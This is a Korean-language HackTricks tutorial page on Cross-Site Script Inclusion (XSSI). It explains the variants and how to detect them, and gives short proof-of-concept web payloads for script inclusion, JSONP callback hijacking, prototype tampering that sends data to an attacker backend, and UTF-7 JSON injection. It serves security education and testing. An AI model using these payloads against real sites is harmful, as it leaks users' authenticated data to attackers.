XSSI (Cross-Site Script Inclusion)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ธฐ๋ณธ ์ •๋ณด

**Cross-Site Script Inclusion (XSSI)**๋Š” HTML์˜ script ํƒœ๊ทธ์˜ ํŠน์„ฑ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๋ฆฌ์†Œ์Šค๊ฐ€ **Same-Origin Policy (SOP)**์˜ ์ ์šฉ์„ ๋ฐ›๋Š” ๊ฒƒ๊ณผ ๋‹ฌ๋ฆฌ, ์Šคํฌ๋ฆฝํŠธ๋Š” ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋™์ž‘์€ ๋‹ค๋ฅธ ์„œ๋ฒ„์— ํ˜ธ์ŠคํŒ…๋œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฐ ๊ธฐํƒ€ ๋ฆฌ์†Œ์Šค์˜ ์‚ฌ์šฉ์„ ์šฉ์ดํ•˜๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ด์ง€๋งŒ, ์ž ์žฌ์ ์ธ ๋ณด์•ˆ ์œ„ํ—˜๋„ ์ดˆ๋ž˜ํ•ฉ๋‹ˆ๋‹ค.

XSSI์˜ ์ฃผ์š” ํŠน์ง•:

  • SOP ์šฐํšŒ: ์Šคํฌ๋ฆฝํŠธ๋Š” Same-Origin Policy์˜ ์ ์šฉ์„ ๋ฐ›์ง€ ์•Š์•„ ๋„๋ฉ”์ธ ๊ฐ„์— ํฌํ•จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋ฐ์ดํ„ฐ ๋…ธ์ถœ: ๊ณต๊ฒฉ์ž๋Š” ์ด ๋™์ž‘์„ ์ด์šฉํ•ด script ํƒœ๊ทธ๋ฅผ ํ†ตํ•ด ๋กœ๋“œ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋™์  JavaScript/JSONP์— ๋ฏธ์น˜๋Š” ์˜ํ–ฅ: XSSI๋Š” ๋™์  JavaScript ๋˜๋Š” **JSON with Padding (JSONP)**์™€ ํŠนํžˆ ๊ด€๋ จ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ธฐ์ˆ ์€ ์ข…์ข… ์ธ์ฆ์„ ์œ„ํ•ด โ€œambient-authorityโ€ ์ •๋ณด(์˜ˆ: ์ฟ ํ‚ค)๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ์— ์Šคํฌ๋ฆฝํŠธ ์š”์ฒญ์ด ์ด๋ฃจ์–ด์งˆ ๋•Œ, ์ด๋Ÿฌํ•œ ์ž๊ฒฉ ์ฆ๋ช…(์˜ˆ: ์ฟ ํ‚ค)์€ ์š”์ฒญ์— ์ž๋™์œผ๋กœ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.
  • ์ธ์ฆ ํ† ํฐ ์œ ์ถœ: ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €๋ฅผ ์†์—ฌ ์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” ์„œ๋ฒ„์—์„œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์š”์ฒญํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ด๋Ÿฌํ•œ ์š”์ฒญ์— ํฌํ•จ๋œ ๋ฏผ๊ฐํ•œ ์ •๋ณด์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์œ ํ˜•

  1. ์ •์  JavaScript - XSSI์˜ ์ „ํ†ต์ ์ธ ํ˜•ํƒœ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  2. ์ธ์ฆ์ด ํ•„์š”ํ•œ ์ •์  JavaScript - ์ด ์œ ํ˜•์€ ์ ‘๊ทผ์„ ์œ„ํ•ด ์ธ์ฆ์ด ํ•„์š”ํ•˜๋‹ค๋Š” ์ ์—์„œ ๋‹ค๋ฆ…๋‹ˆ๋‹ค.
  3. ๋™์  JavaScript - ๋™์ ์œผ๋กœ ์ฝ˜ํ…์ธ ๋ฅผ ์ƒ์„ฑํ•˜๋Š” JavaScript๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  4. ๋น„ JavaScript - JavaScript์™€ ์ง์ ‘์ ์œผ๋กœ ๊ด€๋ จ๋˜์ง€ ์•Š์€ ์ทจ์•ฝ์ ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.

**๋‹ค์Œ ์ •๋ณด๋Š” https://www.scip.ch/en/?labs.20160414**์˜ ์š”์•ฝ์ž…๋‹ˆ๋‹ค. ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋Š” ํ•ด๋‹น ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์ผ๋ฐ˜ XSSI

์ด ์ ‘๊ทผ ๋ฐฉ์‹์—์„œ๋Š” ๊ฐœ์ธ ์ •๋ณด๊ฐ€ ์ „ ์„ธ๊ณ„์—์„œ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ JavaScript ํŒŒ์ผ์— ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํŒŒ์ผ ์ฝ๊ธฐ, ํ‚ค์›Œ๋“œ ๊ฒ€์ƒ‰ ๋˜๋Š” ์ •๊ทœ ํ‘œํ˜„์‹๊ณผ ๊ฐ™์€ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ํŒŒ์ผ์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์œ„์น˜๊ฐ€ ํ™•์ธ๋˜๋ฉด, ๊ฐœ์ธ ์ •๋ณด๊ฐ€ ํฌํ•จ๋œ ์Šคํฌ๋ฆฝํŠธ๋Š” ์•…์˜์ ์ธ ์ฝ˜ํ…์ธ ์— ํฌํ•จ๋˜์–ด ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์•„๋ž˜์— ์˜ˆ์‹œ์ ์ธ ๊ณต๊ฒฉ ๊ธฐ๋ฒ•์ด ๋‚˜์™€ ์žˆ์Šต๋‹ˆ๋‹ค:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>

Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI

์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ XSSI ๊ณต๊ฒฉ์€ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ์— ๋”ฐ๋ผ ๊ธฐ๋ฐ€ ์ •๋ณด๊ฐ€ ๋™์ ์œผ๋กœ ์Šคํฌ๋ฆฝํŠธ์— ์ถ”๊ฐ€๋˜๋Š” ๊ฒƒ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ฟ ํ‚ค๊ฐ€ ์žˆ๋Š” ์š”์ฒญ๊ณผ ์—†๋Š” ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ๋น„๊ตํ•˜์—ฌ ํƒ์ง€๊ฐ€ ์ˆ˜ํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ •๋ณด๊ฐ€ ๋‹ค๋ฅด๋ฉด ๊ธฐ๋ฐ€ ์ •๋ณด์˜ ์กด์žฌ๋ฅผ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ”„๋กœ์„ธ์Šค๋Š” DetectDynamicJS Burp ํ™•์žฅ๊ณผ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ž๋™ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ธฐ๋ฐ€ ๋ฐ์ดํ„ฐ๊ฐ€ ์ „์—ญ ๋ณ€์ˆ˜์— ์ €์žฅ๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ, Regular XSSI์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์œ ์‚ฌํ•œ ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๊ธฐ๋ฐ€ ๋ฐ์ดํ„ฐ๊ฐ€ JSONP ์‘๋‹ต์— ํฌํ•จ๋œ ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜๋ฅผ ํƒˆ์ทจํ•˜์—ฌ ์ •๋ณด๋ฅผ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ „์—ญ ๊ฐ์ฒด๋ฅผ ์กฐ์ž‘ํ•˜๊ฑฐ๋‚˜ JSONP ์‘๋‹ต์— ์˜ํ•ด ์‹คํ–‰๋  ํ•จ์ˆ˜๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

์ „์—ญ ๋„ค์ž„์ŠคํŽ˜์ด์Šค์— ์กด์žฌํ•˜์ง€ ์•Š๋Š” ๋ณ€์ˆ˜์˜ ๊ฒฝ์šฐ, _prototype tampering_์ด ๋•Œ๋•Œ๋กœ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ์ˆ ์€ ํ˜ธ์ถœ๋œ ์†์„ฑ์„ ์ฐพ๊ธฐ ์œ„ํ•ด ํ”„๋กœํ† ํƒ€์ž… ์ฒด์ธ์„ ํƒ์ƒ‰ํ•˜๋Š” JavaScript์˜ ์„ค๊ณ„๋ฅผ ํ™œ์šฉํ•ฉ๋‹ˆ๋‹ค. Array์˜ slice์™€ ๊ฐ™์€ ํŠน์ • ํ•จ์ˆ˜๋ฅผ ์žฌ์ •์˜ํ•จ์œผ๋กœ์จ, ๊ณต๊ฒฉ์ž๋Š” ๋น„์ „์—ญ ๋ณ€์ˆ˜๋ฅผ ์ ‘๊ทผํ•˜๊ณ  ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}

๊ณต๊ฒฉ ๋ฒกํ„ฐ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์„ธ๋ถ€์ •๋ณด๋Š” ๋ณด์•ˆ ์—ฐ๊ตฌ์› Sebastian Lekies์˜ ์ž‘์—…์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทธ๋Š” vectors ๋ชฉ๋ก์„ ์œ ์ง€ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Non-Script-XSSI

Takeshi Terada์˜ ์—ฐ๊ตฌ๋Š” Non-Script ํŒŒ์ผ, ์˜ˆ๋ฅผ ๋“ค์–ด CSV๊ฐ€ script ํƒœ๊ทธ์˜ ์†Œ์Šค๋กœ ํฌํ•จ๋˜์–ด ๊ต์ฐจ ์ถœ์ฒ˜๋กœ ์œ ์ถœ๋˜๋Š” ๋˜ ๋‹ค๋ฅธ ํ˜•ํƒœ์˜ XSSI๋ฅผ ์†Œ๊ฐœํ•ฉ๋‹ˆ๋‹ค. Jeremiah Grossman์˜ 2006๋…„ ๊ณต๊ฒฉ์œผ๋กœ Google ์ฃผ์†Œ๋ก ์ „์ฒด๋ฅผ ์ฝ๊ณ  Joe Walker์˜ 2007๋…„ JSON ๋ฐ์ดํ„ฐ ์œ ์ถœ๊ณผ ๊ฐ™์€ XSSI์˜ ์—ญ์‚ฌ์  ์‚ฌ๋ก€๋Š” ์ด๋Ÿฌํ•œ ์œ„ํ˜‘์˜ ์‹ฌ๊ฐ์„ฑ์„ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, Gareth Heyes๋Š” ํŠน์ • ๋ธŒ๋ผ์šฐ์ €์—์„œ ํšจ๊ณผ์ ์ธ JSON ํ˜•์‹์„ ํƒˆ์ถœํ•˜๊ณ  ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด UTF-7๋กœ ์ธ์ฝ”๋”ฉ๋œ JSON์„ ํฌํ•จํ•˜๋Š” ๊ณต๊ฒฉ ๋ณ€ํ˜•์„ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค.

;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ